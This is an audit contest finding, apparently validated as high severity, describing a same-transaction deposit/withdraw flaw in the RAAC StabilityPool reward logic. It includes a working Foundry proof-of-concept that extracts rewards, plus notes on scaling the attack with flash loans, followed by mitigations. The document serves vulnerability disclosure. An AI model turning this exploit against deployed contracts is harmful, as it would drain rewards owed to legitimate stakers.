Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Reward Accrual Allows Instant RAAC Token Drain via Same-Block Deposit/Withdraw

Summary

The StabilityPool's reward distribution mechanism in conjunction with the RAACMinter's emission schedule allows attackers to deposit and withdraw funds within the same transaction while claiming disproportionately large RAAC token rewards. This occurs because newly minted rewards become immediately claimable regardless of staking duration, enabling economic exploitation through flashloan attacks.

Vulnerability Details

RAACMinter's tick() Function:
The tick() function mints RAAC tokens to the StabilityPool based on blocks passed since the last update:

function tick() external nonReentrant whenNotPaused {
// Updates emission rate if interval passed
if (emissionUpdateInterval == 0 || block.timestamp >= lastEmissionUpdateTimestamp + emissionUpdateInterval) {
updateEmissionRate();
}
uint256 currentBlock = block.number;
@> uint256 blocksSinceLastUpdate = currentBlock - lastUpdateBlock;
if (blocksSinceLastUpdate > 0) {
@> uint256 amountToMint = emissionRate * blocksSinceLastUpdate;
// Mints tokens to StabilityPool
raacToken.mint(address(stabilityPool), amountToMint);
lastUpdateBlock = currentBlock;
}
}

Even 1 block difference triggers minting - the only requirement to mint rewards is blocksSinceLastUpdate > 0 which is sufficed every time a user deposits or withdraws in any new transaction.

StabilityPool's Reward Calculation:. The calculateRaacRewards() function distributes rewards proportionally based on current pool balance:

function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
return (totalRewards * userDeposit) / totalDeposits;
}

Deposit / Withdrawal always Triggers Minting:

function deposit(uint256 amount) external nonReentrant whenNotPaused validAmount(amount) {
@> _update();
// ...
@> _mintRAACRewards();

When a user deposits via deposit(), it calls _mintRAACRewards()tick(), minting new RAAC tokens to the pool based on blocks since last update.

Immediate Withdrawal Claims New Rewards:
If the attacker withdraws in the same transaction:

  • Newly minted RAAC tokens from the deposit are included in totalRewards

  • Attacker's share is calculated based on their transient deposit

Therefore attacker can deposit and withdraw in a single transaction and always get rewards. Also since the RTokens will be tradeable on many dexes, an attacker can chain a flashloan from a lending platform and thus swap to obtain large amount of RTokens which he can use to maximize the profit of the RAAC rewards.

Proof of Concept

The PoC below demonstrates how the attacker deposits and withdraws in the same transaction to get rewards but in the real world the attacker could weaponize use of flashloans to completely maximize the profits and cause inflation of the value of RAACToken.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console} from "forge-std/Test.sol";
import {StabilityPool} from "contracts/core/pools/StabilityPool/StabilityPool.sol";
import {LendingPool} from "contracts/core/pools/LendingPool/LendingPool.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RAACMinter} from "contracts/core/minters/RAACMinter/RAACMinter.sol";
import {RAACHousePrices} from "contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "contracts/core/tokens/RAACNFT.sol";
import {ERC20Mock} from "contracts/mocks/core/tokens/ERC20Mock.sol";
import {DEToken} from "contracts/core/tokens/DEToken.sol";
contract StabilityPoolTestPoC is Test {
address private attacker = makeAddr("attacker");
RAACHousePrices private housePrices;
LendingPool private lendingPool;
StabilityPool private stabilityPool;
StabilityPool private implementation;
ERC1967Proxy private proxy;
RAACMinter private raacMinter;
RAACNFT private raacNFT;
DEToken private deToken;
address private rToken = address(new ERC20Mock("RToken", ""));
address private debtToken = address(new ERC20Mock("DebtToken", ""));
address private crvUSDToken = address(new ERC20Mock("crvToken", ""));
address private raacToken = address(new ERC20Mock("RAACToken", ""));
function setUp() public {
deToken = new DEToken("DEToken", "", address(this), rToken);
housePrices = new RAACHousePrices(address(this));
housePrices.setOracle(address(this));
raacNFT = new RAACNFT(crvUSDToken, address(housePrices), address(this));
lendingPool = new LendingPool(crvUSDToken, rToken, debtToken, address(raacNFT), address(housePrices), 5000);
// we do this this since foundry's timestamp starts at 1
vm.warp(block.timestamp + 1000 days);
// Deploy StabilityPool implementation and proxy
implementation = new StabilityPool(address(this));
// I have just used mocks for this test since the specific token implementations is not relevant in this test
// except for the decimals part (of course)
bytes memory initData = abi.encodeWithSelector(
StabilityPool.initialize.selector,
rToken, // 6 decimals
deToken, // 18 decimals
raacToken,
makeAddr("temp_minter"), // will be replaced by calling setRAACMinter
crvUSDToken,
address(lendingPool)
);
proxy = new ERC1967Proxy(address(implementation), initData);
stabilityPool = StabilityPool(address(proxy));
deToken.setStabilityPool(address(stabilityPool));
raacMinter = new RAACMinter(
raacToken,
address(stabilityPool),
address(lendingPool),
address(this)
);
stabilityPool.setRAACMinter(address(raacMinter));
deal(rToken, attacker, 100 * 1e18, true);
vm.prank(attacker);
IERC20(rToken).approve(address(stabilityPool), 100 * 1e18);
vm.roll(block.number + 1); // so that rewards start accruing
}
function testDepositAndWithdrawRewardsInSingleTx() public {
uint attackerRaacBalBefore = IERC20(raacToken).balanceOf(attacker);
uint attackerRTokenBalBefore = IERC20(rToken).balanceOf(attacker);
vm.startPrank(attacker);
uint amount = 5 * 1e18; // rToken to deposit
stabilityPool.deposit(amount);
// attacker gets deToken equal to amount 1:1 (assumed that all tokens have 18 decimals)
assertEq(amount, IERC20(deToken).balanceOf(attacker));
uint rewardsObtained = stabilityPool.calculateRaacRewards(attacker);
IERC20(deToken).approve(address(stabilityPool), amount);
stabilityPool.withdraw(amount);
console.log("rewards obtained: ", rewardsObtained);
assertGt(rewardsObtained, 0.1 * 1e18);
// attacker got profit of raac rewards in a single tx
assertEq(IERC20(raacToken).balanceOf(attacker) - attackerRaacBalBefore, rewardsObtained);
// attacker also got back all his rTokens
assertEq(IERC20(rToken).balanceOf(attacker), attackerRTokenBalBefore);
vm.stopPrank();
}
}

Impact

Attackers can drain the RAAC token rewards from the StabilityPool with near-zero capital at risk (weaponizing FLASHLOAN to maximize profit). An attacker can do this in as much blocks as possible thus getting many RAAC rewards and causing the RAAC token to be inflated.

Unfair distribution of raac rewards for users who have staked their RTokens in the StabilityPool for a longer time, since the attacker gets a lot of rewards in a single tx while the rest of the users will get very little amounts.

Tools Used

  • Manual code analysis

  • Foundry test framework (provided PoC)

Recommendations

You can try any of the following methods;

  • Time-Weighted Reward Accrual:
    Implement an accrual system tracking seconds-staked rather than instantaneous balances:

  • Locking Period Enforcement:
    Require minimum deposit durations before allowing withdrawals to claim rewards.

  • Emission Timing Adjustment:
    Modify RAACMinter to only mint rewards when sufficient time has passed:

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.